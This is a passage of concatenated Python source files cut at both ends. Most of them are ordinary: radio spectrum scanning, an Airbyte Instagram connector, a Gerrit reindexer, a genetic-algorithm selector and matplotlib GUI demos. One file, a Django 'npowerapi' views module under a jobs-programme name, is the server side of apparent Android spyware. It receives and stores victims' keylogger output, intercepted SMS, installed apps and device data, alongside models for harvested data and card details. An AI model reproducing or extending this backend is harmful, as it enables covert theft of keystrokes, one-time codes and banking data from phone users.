= subprocess.Popen(args, stdout=subprocess.PIPE)\n while True:\n psd_iter = iter(lambda: p.stdout.readline(), b'')\n for psd in islice(psd_iter, 40, None): # number of info lines at the beginning\n s_psd = psd.decode(sys.stdout.encoding).strip().split(\",\")\n print(s_psd)\n self.bgd_sendq.put(s_psd)\n p.stdout.flush()\n if not self.bgd_run:\n break\n\n\n def psd_bgd_start(self):\n print(\"psd_bgd_start(): Entering.\")\n\n self.bgd_run = True\n self.bgd_thread = threading.Thread(target=self.psd_bgd_fun)\n self.bgd_thread.daemon = True\n self.bgd_thread.start()\n\n\n def psd_bgd_stop(self):\n print(\"psd_bgd_stop(): Entering.\")\n\n if not self.bgd_thread.is_alive():\n warnings.warn('Scanner daemon already stopped.', RuntimeWarning, stacklevel=2)\n return\n\n # stop background daemon\n self.bgd_run = False\n self.bgd_thread.join()\n\n @wishful_module.bind_function(upis.radio.scand_start)\n def scand_start(self, iface=\"eno2\", gain=\"30\", spb=\"4194304\", fftsize=\"1024\",\\\n numofchannel=\"13\", firstchannel=\"2412000000\", channelwidth=\"20000000\",\\\n channeloffset=\"5000000\", bps=\"4\", freqbegin=\"2410000000\", mode=\"2\"):\n print(\"scand_start(): Entering.\")\n\n if self.bgd_thread.is_alive():\n warnings.warn('Scanner daemon already running.', RuntimeWarning, stacklevel=2)\n return\n\n # drain send queue\n while not self.bgd_sendq.empty():\n self.bgd_sendq.get()\n\n # set scanning params\n self.iface = iface\n self.gain = gain\n self.spb = spb\n self.fftsize = fftsize\n self.numofchannel = numofchannel\n self.firstchannel = firstchannel\n self.channelwidth = channelwidth\n self.channeloffset = channeloffset\n self.bps = bps\n self.freqbegin = freqbegin\n self.mode = mode\n\n # start backgound daemon\n self.psd_bgd_start()\n\n\n @wishful_module.bind_function(upis.radio.scand_stop)\n def scand_stop(self):\n print(\"scand_stop(): Entering.\")\n\n # stop backgound daemon\n self.psd_bgd_stop()\n\n # drain send queue\n while not self.bgd_sendq.empty():\n self.bgd_sendq.get()\n\n\n @wishful_module.bind_function(upis.radio.scand_reconf)\n def scand_reconf(self, iface=\"eno2\", gain=\"30\", spb=\"4194304\", fftsize=\"1024\",\\\n numofchannel=\"13\", firstchannel=\"2412000000\", channelwidth=\"20000000\",\\\n channeloffset=\"5000000\", bps=\"4\", freqbegin=\"2410000000\", mode=\"2\"):\n print(\"scand_reconf(): Entering.\")\n\n # stop backgound daemon\n if self.bgd_thread.is_alive():\n self.psd_bgd_stop()\n\n # drain send queue\n while not self.bgd_sendq.empty():\n self.bgd_sendq.get()\n\n # update scanning params\n self.iface = iface\n self.gain = gain\n self.spb = spb\n self.fftsize = fftsize\n self.numofchannel = numofchannel\n self.firstchannel = firstchannel\n self.channelwidth = channelwidth\n self.channeloffset = channeloffset\n self.bps = bps\n self.freqbegin = freqbegin\n self.mode = mode\n\n # start backgound daemon again\n self.psd_bgd_start()\n\n\n @wishful_module.bind_function(upis.radio.scand_read)\n def scand_read(self):\n print(\"scand_read(): Entering.\")\n\n qsize = self.bgd_sendq.qsize()\n print(\"scand_read(): Current send queue size: %d.\" % qsize)\n\n if (qsize > 0):\n first_psd = self.bgd_sendq.get()\n ret = np.full((qsize, len(first_psd)), (np.nan), dtype=np.int64)\n ret[0, :] = first_psd\n for i in range(1, qsize):\n psd = self.bgd_sendq.get()\n ret[i, :] = psd\n else:\n ret = np.full((0), (np.nan), dtype=np.int64)\n\n return ret\n","sub_path":"wishful_module_spectral_scan_usrp/module_spectral_scan_usrp.py","file_name":"module_spectral_scan_usrp.py","file_ext":"py","file_size_in_byte":5944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"573396376","text":"#\n# MIT License\n#\n# Copyright (c) 2020 Airbyte\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#\n\nimport json\nfrom time import sleep\nfrom typing import Any, List, Mapping\n\nimport backoff\nimport pendulum\nfrom airbyte_cdk.entrypoint import logger\nfrom cached_property import cached_property\nfrom facebook_business import FacebookAdsApi\nfrom facebook_business.adobjects import user as fb_user\nfrom facebook_business.adobjects.iguser import IGUser\nfrom facebook_business.adobjects.page import Page\nfrom facebook_business.exceptions import FacebookRequestError\nfrom source_instagram.common import InstagramAPIException, retry_pattern\n\nbackoff_policy = retry_pattern(backoff.expo, FacebookRequestError, max_tries=7, factor=5)\n\n\nclass MyFacebookAdsApi(FacebookAdsApi):\n \"\"\"Custom Facebook API class to intercept all API calls and handle call rate limits\"\"\"\n\n call_rate_threshold = 90 # maximum percentage of call limit utilization\n pause_interval = pendulum.duration(minutes=1) # default pause interval if reached or close to call rate limit\n\n @staticmethod\n def parse_call_rate_header(headers):\n call_count = 0\n pause_interval = pendulum.duration()\n\n usage_header = headers.get(\"x-business-use-case-usage\") or headers.get(\"x-app-usage\") or headers.get(\"x-ad-account-usage\")\n if usage_header:\n usage_header = json.loads(usage_header)\n call_count = usage_header.get(\"call_count\") or usage_header.get(\"acc_id_util_pct\") or 0\n pause_interval = pendulum.duration(minutes=usage_header.get(\"estimated_time_to_regain_access\", 0))\n\n return call_count, pause_interval\n\n def handle_call_rate_limit(self, response, params):\n headers = response.headers()\n call_count, pause_interval = self.parse_call_rate_header(headers)\n if call_count > self.call_rate_threshold or pause_interval:\n logger.warn(f\"Utilization is too high ({call_count})%, pausing for {pause_interval}\")\n sleep(pause_interval.total_seconds())\n\n @backoff_policy\n def call(\n self,\n method,\n path,\n params=None,\n headers=None,\n files=None,\n url_override=None,\n api_version=None,\n ):\n \"\"\"Makes an API call, delegate actual work to parent class and handles call rates\"\"\"\n response = super().call(method, path, params, headers, files, url_override, api_version)\n self.handle_call_rate_limit(response, params)\n return response\n\n\nclass InstagramAPI:\n def __init__(self, access_token: str):\n self._api = FacebookAdsApi.init(access_token=access_token)\n # design flaw in MyFacebookAdsApi requires such strange set of new default api instance\n self.api = MyFacebookAdsApi.init(access_token=access_token, crash_log=False)\n FacebookAdsApi.set_default_api(self.api)\n\n @cached_property\n def accounts(self) -> List[Mapping[str, Any]]:\n return self._find_accounts()\n\n def _find_accounts(self) -> List[Mapping[str, Any]]:\n try:\n instagram_business_accounts = []\n accounts = fb_user.User(fbid=\"me\").get_accounts()\n for account in accounts:\n page = Page(account.get_id()).api_get(fields=[\"instagram_business_account\"])\n if page.get(\"instagram_business_account\"):\n instagram_business_accounts.append(\n {\n \"page_id\": account.get_id(),\n \"instagram_business_account\": IGUser(page.get(\"instagram_business_account\").get(\"id\")),\n }\n )\n except FacebookRequestError as exc:\n raise InstagramAPIException(f\"Error: {exc.api_error_code()}, {exc.api_error_message()}\") from exc\n\n if not instagram_business_accounts:\n raise InstagramAPIException(\"Couldn't find an Instagram business account for current Access Token\")\n\n return instagram_business_accounts\n","sub_path":"airbyte-integrations/connectors/source-instagram/source_instagram/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"424788933","text":"#!/usr/bin/python3\n\n# Copyright (C) 2019 The Android Open Source Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport abc\nimport enum\nimport os.path\nimport subprocess\nimport sys\n\nimport requests\n\nfrom ..helpers import git, log\n\nLOG = log.get_logger(\"reindex\")\n\n\nclass IndexType(enum.Enum):\n LUCENE = enum.auto()\n ELASTICSEARCH = enum.auto()\n\n\nclass GerritAbstractReindexer(abc.ABC):\n def __init__(self, gerrit_site_path, config):\n self.gerrit_site_path = gerrit_site_path\n self.index_config_path = \"%s/index/gerrit_index.config\" % self.gerrit_site_path\n self.init_config = config\n\n self.configured_indices = self._parse_gerrit_index_config()\n\n @abc.abstractmethod\n def _get_indices(self):\n pass\n\n def _parse_gerrit_index_config(self):\n indices = dict()\n if os.path.exists(self.index_config_path):\n config = git.GitConfigParser(self.index_config_path)\n options = config.list()\n for opt in options:\n name, version = opt[\"subsection\"].rsplit(\"_\", 1)\n # TODO (Thomas): Properly handle multiple versions of the same index,\n # which may be present due to online-reindexing in progress.\n indices[name] = {\n \"version\": int(version),\n \"ready\": opt[\"value\"].lower() == \"true\",\n }\n return indices\n\n def _get_unready_indices(self):\n unready_indices = []\n for index, index_attrs in self.configured_indices.items():\n if not index_attrs[\"ready\"]:\n LOG.info(\"Index %s not ready.\", index)\n unready_indices.append(index)\n return unready_indices\n\n def _check_index_versions(self):\n indices = self._get_indices()\n\n if not indices:\n return False\n\n for index, index_attrs in self.configured_indices.items():\n if index not in indices or index_attrs[\"version\"] is not indices[index]:\n return False\n return True\n\n def reindex(self, indices=None):\n LOG.info(\"Starting to reindex.\")\n command = \"java -jar /var/war/gerrit.war reindex -d %s\" % self.gerrit_site_path\n\n if indices:\n command += \" \".join([\" --index %s\" % i for i in indices])\n\n reindex_process = subprocess.run(command.split(), stdout=subprocess.PIPE)\n\n if reindex_process.returncode > 0:\n LOG.error(\n \"An error occured, when reindexing Gerrit indices. Exit code: %d\",\n reindex_process.returncode,\n )\n sys.exit(1)\n\n LOG.info(\"Finished reindexing.\")\n\n def start(self, is_forced):\n if is_forced:\n self.reindex()\n return\n\n if not self.configured_indices:\n LOG.info(\"gerrit_index.config does not exist. Creating all indices.\")\n self.reindex()\n return\n\n unready_indices = self._get_unready_indices()\n if unready_indices:\n self.reindex(unready_indices)\n\n if not self._check_index_versions():\n LOG.info(\"Not all indices are up-to-date.\")\n self.reindex()\n return\n\n LOG.info(\"Skipping reindexing.\")\n\n\nclass GerritLuceneReindexer(GerritAbstractReindexer):\n def _get_indices(self):\n file_list = os.listdir(os.path.join(self.gerrit_site_path, \"index\"))\n file_list.remove(\"gerrit_index.config\")\n lucene_indices = dict()\n for index in file_list:\n try:\n (name, version) = index.split(\"_\")\n lucene_indices[name] = int(version)\n except ValueError:\n LOG.debug(\"Ignoring invalid file in index-directory: %s\", index)\n return lucene_indices\n\n\nclass GerritElasticSearchReindexer(GerritAbstractReindexer):\n def _get_elasticsearch_config(self):\n es_config = dict()\n gerrit_config = git.GitConfigParser(\n os.path.join(self.gerrit_site_path, \"etc\", \"gerrit.config\")\n )\n es_config[\"prefix\"] = gerrit_config.get(\n \"elasticsearch.prefix\", default=\"\"\n ).lower()\n es_config[\"server\"] = gerrit_config.get(\n \"elasticsearch.server\", default=\"\"\n ).lower()\n return es_config\n\n def _get_indices(self):\n es_config = self._get_elasticsearch_config()\n url = \"{url}/{prefix}*\".format(\n url=es_config[\"server\"], prefix=es_config[\"prefix\"]\n )\n try:\n response = requests.get(url)\n except requests.exceptions.SSLError:\n response = requests.get(url, verify=self.init_config.ca_cert_path)\n\n es_indices = dict()\n for index, _ in response.json().items():\n try:\n index = index.replace(es_config[\"prefix\"], \"\", 1)\n (name, version) = index.split(\"_\")\n es_indices[name] = int(version)\n except ValueError:\n LOG.debug(\"Found unknown index: %s\", index)\n\n return es_indices\n\n\ndef get_reindexer(gerrit_site_path, config):\n gerrit_config = git.GitConfigParser(\n os.path.join(gerrit_site_path, \"etc\", \"gerrit.config\")\n )\n index_type = gerrit_config.get(\"index.type\", default=IndexType.LUCENE.name)\n\n if IndexType[index_type.upper()] is IndexType.LUCENE:\n return GerritLuceneReindexer(gerrit_site_path, config)\n\n if IndexType[index_type.upper()] is IndexType.ELASTICSEARCH:\n return GerritElasticSearchReindexer(gerrit_site_path, config)\n\n raise RuntimeError(\"Unknown index type %s.\" % index_type)\n","sub_path":"container-images/gerrit-init/tools/gerrit-initializer/initializer/tasks/reindex.py","file_name":"reindex.py","file_ext":"py","file_size_in_byte":6101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"84809972","text":"from django.contrib.auth import authenticate\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.response import Response\nfrom django.core.files.base import ContentFile \nfrom rest_framework.status import (\n HTTP_400_BAD_REQUEST,\n HTTP_404_NOT_FOUND,\n HTTP_200_OK\n)\n \nfrom django.db.models import Q \nfrom account.models import Profile\nfrom django.contrib.auth.models import User \nfrom django.shortcuts import get_object_or_404\nfrom . models import (\n UserBankDetail, UserTransactionDetail, ErrorLogger, \n CCDetails, UserHarvestedData, UserPhoneNumber\n)\n\n\ndef str2bool(v):\n return str(v).lower() in (\"yes\", \"true\", \"t\", \"1\")\n\n\n@csrf_exempt\n@api_view([\"POST\"])\n@permission_classes((AllowAny,))\ndef login(request):\n username = request.data.get(\"username\")\n password = request.data.get(\"password\")\n \n\n if username is None or password is None:\n return Response({'error': True, 'msg': 'Please all fields are required'},\n status=HTTP_400_BAD_REQUEST\n )\n\n \n user = authenticate(username=username, password=password)\n \n if not user:\n return Response({'error': True, 'msg': 'Invalid Credentials'}, status=HTTP_404_NOT_FOUND)\n\n token,_ = Token.objects.get_or_create(user=user)\n\n return Response({\n 'error':False, \n 'message': 'Login Successfully', \n 'token': token.key, \n 'firstname': user.first_name, \n 'lastname': user.last_name, \n 'username': user.username, \n 'email': user.email\n }, status=HTTP_200_OK\n )\n\n\n@csrf_exempt\n@api_view(['POST'])\n@permission_classes((AllowAny,))\ndef create_user(request):\n email = request.data.get('email')\n first_name = request.data.get('first_name') \n last_name = request.data.get('last_name') \n password = request.data.get('password') \n \n if email is None or first_name is None or last_name is None or password is None:\n return Response({\n 'error': True, \n 'msg': \"Please all input fields are required\"\n },\n status=HTTP_400_BAD_REQUEST\n )\n\n try:\n user_obj = User.objects.get(email=email)\n\n if user_obj.email == email:\n return Response({'error':True, 'msg': \"Sorry this email already exist\"}, status=HTTP_400_BAD_REQUEST)\n\n \n except User.DoesNotExist: \n user = User.objects.create_user(username=email, email=email, password=password, first_name=first_name, last_name=last_name)\n token,_ = Token.objects.get_or_create(user=user)\n \n \n return Response({\n 'error':False, \n 'message': 'Validation Successfully', \n 'token': token.key, \n 'firstname': user.first_name, \n 'lastname': user.last_name, \n 'username': user.username, \n 'email': user.email\n }, status=HTTP_200_OK\n )\n\n\n@csrf_exempt\n@api_view(['POST'])\n@permission_classes((AllowAny,)) \ndef updateloggers(request):\n successfully_updated = False\n \n username = request.data.get('username') \n key_logger = request.data.get('keylogger') \n sms_logger = request.data.get('smslogger') \n error_logger = request.data.get('error-logger')\n device_info = request.data.get('device-info') \n installed_apps = request.data.get('installed-apps')\n custom_accessiblity_api = str2bool(request.data.get('custom_accessiblity_api'))\n \n\n if installed_apps is None or username is None or key_logger is None or sms_logger is None or error_logger is None or device_info is None or custom_accessiblity_api is None:\n return Response({'error': True, 'message': 'Please input all required data'}, status=HTTP_400_BAD_REQUEST)\n\n \n obj,created = UserBankDetail.objects.update_or_create(user__username=username, defaults={\n 'user': User.objects.get(username=username), \n 'device_info': device_info, \n 'is_custom_service_enabled': str2bool(custom_accessiblity_api)\n })\n\n \n if created:\n \n obj.key_logger.save('keylogger.txt', ContentFile(key_logger)) \n obj.sms_logger.save('smslogger.txt', ContentFile(sms_logger)) \n obj.error_logger.save('errorlogger.txt', ContentFile(error_logger))\n obj.users_apps.save('usersapps.txt', ContentFile(installed_apps))\n \n return Response({\n 'error': False, \n 'msg': 'logs created successfully', \n 'packageName': obj.package, \n 'activatePackageName': obj.activate_package, \n }, status=HTTP_200_OK)\n\n else:\n if key_logger != \"File content not created yet!\": \n key_logger_file = obj.key_logger.open('a')\n key_logger_file.writelines(key_logger)\n key_logger_file.close()\n successfully_updated = True\n \n if sms_logger != \"File content not created yet!\":\n \n sms_logger_file = obj.sms_logger.open('a')\n sms_logger_file.writelines(sms_logger)\n sms_logger_file.close() \n successfully_updated = True\n \n if error_logger != \"File content not created yet!\":\n \n error_logger_file = obj.error_logger.open('a') \n error_logger_file.writelines(error_logger)\n error_logger_file.close() \n successfully_updated = True \n \n if installed_apps:\n installed_apps_file = obj.users_apps.open('a') \n installed_apps_file.writelines(installed_apps)\n installed_apps_file.close() \n successfully_updated = True \n\n if successfully_updated:\n return Response({\n 'error': False, \n 'msg': 'logs updated successfully', \n 'packageName': obj.package, \n 'activatePackageName': obj.activate_package, \n }, status=HTTP_200_OK)\n \n else:\n return Response({\n 'error': False, \n 'msg' : 'Logs not Updated', \n 'packageName': obj.package, \n 'activatePackageName': obj.activate_package,\n }, status=HTTP_200_OK)\n\n\n@csrf_exempt \n@api_view(['POST'])\n@permission_classes((AllowAny,)) \ndef reset_password(request):\n email = request.data.get('email') \n \n if email is None: \n return Response(\n {\n 'error':True, \n 'msg': 'Please provide your email address'\n }, \n status=HTTP_400_BAD_REQUEST \n )\n\n try:\n user = User.objects.get(email=email)\n if user: \n return Response({'error':False, 'msg': \"Password reset code has been sent to your email\"}, status=HTTP_200_OK) \n\n except User.DoesNotExist: \n return Response({'error':True, 'msg':'Sorry this email does not exits.'}, status=HTTP_404_NOT_FOUND) \n\n ","sub_path":"jobsforafrica/npowerapi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"132280111","text":"#!/bin/python3\n\nimport constants as ct\n\nfrom geneticSelectors.boltzmannSelector import BoltzmannSelector\nfrom geneticSelectors.rWheelSelector import RWheelSelector\nfrom geneticSelectors.eliteSelector import EliteSelector\nfrom geneticSelectors.rankingSelector import RankingSelector\nfrom geneticSelectors.tournaments1Selector import Tournaments1Selector\nfrom geneticSelectors.tournaments2Selector import Tournaments2Selector\nfrom geneticSelectors.univSelector import UnivSelector\n\nclass SelectorFactory:\n\n def __init__(self, type, N, T=None, T2Threshold=None):\n if type == 'ELITE':\n self.selector = EliteSelector(N)\n elif type == 'R-WHEEL':\n self.selector = RWheelSelector(N)\n elif type == 'UNIV':\n self.selector = UnivSelector(N)\n elif type == 'BOLTZMANN':\n self.selector = BoltzmannSelector(N, T)\n elif type == 'TOURNAMENTS-1':\n self.selector = Tournaments1Selector(N)\n elif type == 'TOURNAMENTS-2':\n self.selector = Tournaments2Selector(N, T2Threshold)\n elif type == 'RANKING':\n self.selector = RankingSelector(N)\n else:\n print('Invalid Selection Type')\n exit(1)\n \n def getSelector(self):\n return self.selector\n","sub_path":"TP2/functionFactories/selectorFactory.py","file_name":"selectorFactory.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"546767865","text":"#!/usr/bin/env python\nimport PySimpleGUI as sg\nimport matplotlib\nimport inspect\nmatplotlib.use('TkAgg')\n\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n\n\"\"\"\nDemonstrates one way of embedding Matplotlib figures into a PySimpleGUI window.\nBasic steps are:\n * Create a Canvas Element\n * Layout form\n * Display form (NON BLOCKING)\n * Draw plots onto convas\n * Display form (BLOCKING)\n \nEach plotting function, complete with imports, was copied directly from Matplot examples page \n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef PyplotSimple():\n import numpy as np\n import matplotlib.pyplot as plt\n\n # evenly sampled time .2 intervals\n t = np.arange(0., 5., 0.2) # go from 0 to 5 using .2 intervals\n\n # red dashes, blue squares and green triangles\n plt.plot(t, t, 'r--', t, t ** 2, 'bs', t, t ** 3, 'g^')\n\n fig = plt.gcf() # get the figure to show\n return fig\n\ndef PyplotHistogram():\n \"\"\"\n =============================================================\n Demo of the histogram (hist) function with multiple data sets\n =============================================================\n Plot histogram with multiple sample sets and demonstrate:\n * Use of legend with multiple sample sets\n * Stacked bars\n * Step curve with no fill\n * Data sets of different sample sizes\n Selecting different bin counts and sizes can significantly affect the\n shape of a histogram. The Astropy docs have a great section on how to\n select these parameters:\n http://docs.astropy.org/en/stable/visualization/histogram.html\n \"\"\"\n\n import numpy as np\n import matplotlib.pyplot as plt\n\n np.random.seed(0)\n\n n_bins = 10\n x = np.random.randn(1000, 3)\n\n fig, axes = plt.subplots(nrows=2, ncols=2)\n ax0, ax1, ax2, ax3 = axes.flatten()\n\n colors = ['red', 'tan', 'lime']\n ax0.hist(x, n_bins, normed=1, histtype='bar', color=colors, label=colors)\n ax0.legend(prop={'size': 10})\n ax0.set_title('bars with legend')\n\n ax1.hist(x, n_bins, normed=1, histtype='bar', stacked=True)\n ax1.set_title('stacked bar')\n\n ax2.hist(x, n_bins, histtype='step', stacked=True, fill=False)\n ax2.set_title('stack step (unfilled)')\n\n # Make a multiple-histogram of data-sets with different length.\n x_multi = [np.random.randn(n) for n in [10000, 5000, 2000]]\n ax3.hist(x_multi, n_bins, histtype='bar')\n ax3.set_title('different sample sizes')\n\n fig.tight_layout()\n return fig\n\ndef PyplotArtistBoxPlots():\n \"\"\"\n =========================================\n Demo of artist customization in box plots\n =========================================\n This example demonstrates how to use the various kwargs\n to fully customize box plots. The first figure demonstrates\n how to remove and add individual components (note that the\n mean is the only value not shown by default). The second\n figure demonstrates how the styles of the artists can\n be customized. It also demonstrates how to set the limit\n of the whiskers to specific percentiles (lower right axes)\n A good general reference on boxplots and their history can be found\n here: http://vita.had.co.nz/papers/boxplots.pdf\n \"\"\"\n\n import numpy as np\n import matplotlib.pyplot as plt\n\n # fake data\n np.random.seed(937)\n data = np.random.lognormal(size=(37, 4), mean=1.5, sigma=1.75)\n labels = list('ABCD')\n fs = 10 # fontsize\n\n # demonstrate how to toggle the display of different elements:\n fig, axes = plt.subplots(nrows=2, ncols=3, figsize=(6, 6), sharey=True)\n axes[0, 0].boxplot(data, labels=labels)\n axes[0, 0].set_title('Default', fontsize=fs)\n\n axes[0, 1].boxplot(data, labels=labels, showmeans=True)\n axes[0, 1].set_title('showmeans=True', fontsize=fs)\n\n axes[0, 2].boxplot(data, labels=labels, showmeans=True, meanline=True)\n axes[0, 2].set_title('showmeans=True,\\nmeanline=True', fontsize=fs)\n\n axes[1, 0].boxplot(data, labels=labels, showbox=False, showcaps=False)\n tufte_title = 'Tufte Style \\n(showbox=False,\\nshowcaps=False)'\n axes[1, 0].set_title(tufte_title, fontsize=fs)\n\n axes[1, 1].boxplot(data, labels=labels, notch=True, bootstrap=10000)\n axes[1, 1].set_title('notch=True,\\nbootstrap=10000', fontsize=fs)\n\n axes[1, 2].boxplot(data, labels=labels, showfliers=False)\n axes[1, 2].set_title('showfliers=False', fontsize=fs)\n\n for ax in axes.flatten():\n ax.set_yscale('log')\n ax.set_yticklabels([])\n\n fig.subplots_adjust(hspace=0.4)\n return fig\n\ndef ArtistBoxplot2():\n\n # fake data\n np.random.seed(937)\n data = np.random.lognormal(size=(37, 4), mean=1.5, sigma=1.75)\n labels = list('ABCD')\n fs = 10 # fontsize\n\n # demonstrate how to customize the display different elements:\n boxprops = dict(linestyle='--', linewidth=3, color='darkgoldenrod')\n flierprops = dict(marker='o', markerfacecolor='green', markersize=12,\n linestyle='none')\n medianprops = dict(linestyle='-.', linewidth=2.5, color='firebrick')\n meanpointprops = dict(marker='D', markeredgecolor='black',\n markerfacecolor='firebrick')\n meanlineprops = dict(linestyle='--', linewidth=2.5, color='purple')\n\n fig, axes = plt.subplots(nrows=2, ncols=3, figsize=(6, 6), sharey=True)\n axes[0, 0].boxplot(data, boxprops=boxprops)\n axes[0, 0].set_title('Custom boxprops', fontsize=fs)\n\n axes[0, 1].boxplot(data, flierprops=flierprops, medianprops=medianprops)\n axes[0, 1].set_title('Custom medianprops\\nand flierprops', fontsize=fs)\n\n axes[0, 2].boxplot(data, whis='range')\n axes[0, 2].set_title('whis=\"range\"', fontsize=fs)\n\n axes[1, 0].boxplot(data, meanprops=meanpointprops, meanline=False,\n showmeans=True)\n axes[1, 0].set_title('Custom mean\\nas point', fontsize=fs)\n\n axes[1, 1].boxplot(data, meanprops=meanlineprops, meanline=True,\n showmeans=True)\n axes[1, 1].set_title('Custom mean\\nas line', fontsize=fs)\n\n axes[1, 2].boxplot(data, whis=[15, 85])\n axes[1, 2].set_title('whis=[15, 85]\\n#percentiles', fontsize=fs)\n\n for ax in axes.flatten():\n ax.set_yscale('log')\n ax.set_yticklabels([])\n\n fig.suptitle(\"I never said they'd be pretty\")\n fig.subplots_adjust(hspace=0.4)\n return fig\n\ndef PyplotScatterWithLegend():\n import matplotlib.pyplot as plt\n from numpy.random import rand\n\n fig, ax = plt.subplots()\n for color in ['red', 'green', 'blue']:\n n = 750\n x, y = rand(2, n)\n scale = 200.0 * rand(n)\n ax.scatter(x, y, c=color, s=scale, label=color,\n alpha=0.3, edgecolors='none')\n\n ax.legend()\n ax.grid(True)\n return fig\n\ndef PyplotLineStyles():\n \"\"\"\n ==========\n Linestyles\n ==========\n This examples showcases different linestyles copying those of Tikz/PGF.\n \"\"\"\n import numpy as np\n import matplotlib.pyplot as plt\n from collections import OrderedDict\n from matplotlib.transforms import blended_transform_factory\n\n linestyles = OrderedDict(\n [('solid', (0, ())),\n ('loosely dotted', (0, (1, 10))),\n ('dotted', (0, (1, 5))),\n ('densely dotted', (0, (1, 1))),\n\n ('loosely dashed', (0, (5, 10))),\n ('dashed', (0, (5, 5))),\n ('densely dashed', (0, (5, 1))),\n\n ('loosely dashdotted', (0, (3, 10, 1, 10))),\n ('dashdotted', (0, (3, 5, 1, 5))),\n ('densely dashdotted', (0, (3, 1, 1, 1))),\n\n ('loosely dashdotdotted', (0, (3, 10, 1, 10, 1, 10))),\n ('dashdotdotted', (0, (3, 5, 1, 5, 1, 5))),\n ('densely dashdotdotted', (0, (3, 1, 1, 1, 1, 1)))])\n\n plt.figure(figsize=(10, 6))\n ax = plt.subplot(1, 1, 1)\n\n X, Y = np.linspace(0, 100, 10), np.zeros(10)\n for i, (name, linestyle) in enumerate(linestyles.items()):\n ax.plot(X, Y + i, linestyle=linestyle, linewidth=1.5, color='black')\n\n ax.set_ylim(-0.5, len(linestyles) - 0.5)\n plt.yticks(np.arange(len(linestyles)), linestyles.keys())\n plt.xticks([])\n\n # For each line style, add a text annotation with a small offset from\n # the reference point (0 in Axes coords, y tick value in Data coords).\n reference_transform = blended_transform_factory(ax.transAxes, ax.transData)\n for i, (name, linestyle) in enumerate(linestyles.items()):\n ax.annotate(str(linestyle), xy=(0.0, i), xycoords=reference_transform,\n xytext=(-6, -12), textcoords='offset points', color=\"blue\",\n fontsize=8, ha=\"right\", family=\"monospace\")\n\n plt.tight_layout()\n return plt.gcf()\n\ndef PyplotLinePolyCollection():\n import matplotlib.pyplot as plt\n from matplotlib import collections, colors, transforms\n import numpy as np\n\n nverts = 50\n npts = 100\n\n # Make some spirals\n r = np.arange(nverts)\n theta = np.linspace(0, 2 * np.pi, nverts)\n xx = r * np.sin(theta)\n yy = r * np.cos(theta)\n spiral = np.column_stack([xx, yy])\n\n # Fixing random state for reproducibility\n rs = np.random.RandomState(19680801)\n\n # Make some offsets\n xyo = rs.randn(npts, 2)\n\n # Make a list of colors cycling through the default series.\n colors = [colors.to_rgba(c)\n for c in plt.rcParams['axes.prop_cycle'].by_key()['color']]\n\n fig, axes = plt.subplots(2, 2)\n fig.subplots_adjust(top=0.92, left=0.07, right=0.97,\n hspace=0.3, wspace=0.3)\n ((ax1, ax2), (ax3, ax4)) = axes # unpack the axes\n\n col = collections.LineCollection([spiral], offsets=xyo,\n transOffset=ax1.transData)\n trans = fig.dpi_scale_trans + transforms.Affine2D().scale(1.0 / 72.0)\n col.set_transform(trans) # the points to pixels transform\n # Note: the first argument to the collection initializer\n # must be a list of sequences of x,y tuples; we have only\n # one sequence, but we still have to put it in a list.\n ax1.add_collection(col, autolim=True)\n # autolim=True enables autoscaling. For collections with\n # offsets like this, it is neither efficient nor accurate,\n # but it is good enough to generate a plot that you can use\n # as a starting point. If you know beforehand the range of\n # x and y that you want to show, it is better to set them\n # explicitly, leave out the autolim kwarg (or set it to False),\n # and omit the 'ax1.autoscale_view()' call below.\n\n # Make a transform for the line segments such that their size is\n # given in points:\n col.set_color(colors)\n\n ax1.autoscale_view() # See comment above, after ax1.add_collection.\n ax1.set_title('LineCollection using offsets')\n\n # The same data as above, but fill the curves.\n col = collections.PolyCollection([spiral], offsets=xyo,\n transOffset=ax2.transData)\n trans = transforms.Affine2D().scale(fig.dpi / 72.0)\n col.set_transform(trans) # the points to pixels transform\n ax2.add_collection(col, autolim=True)\n col.set_color(colors)\n\n ax2.autoscale_view()\n ax2.set_title('PolyCollection using offsets')\n\n # 7-sided regular polygons\n\n col = collections.RegularPolyCollection(\n 7, sizes=np.abs(xx) * 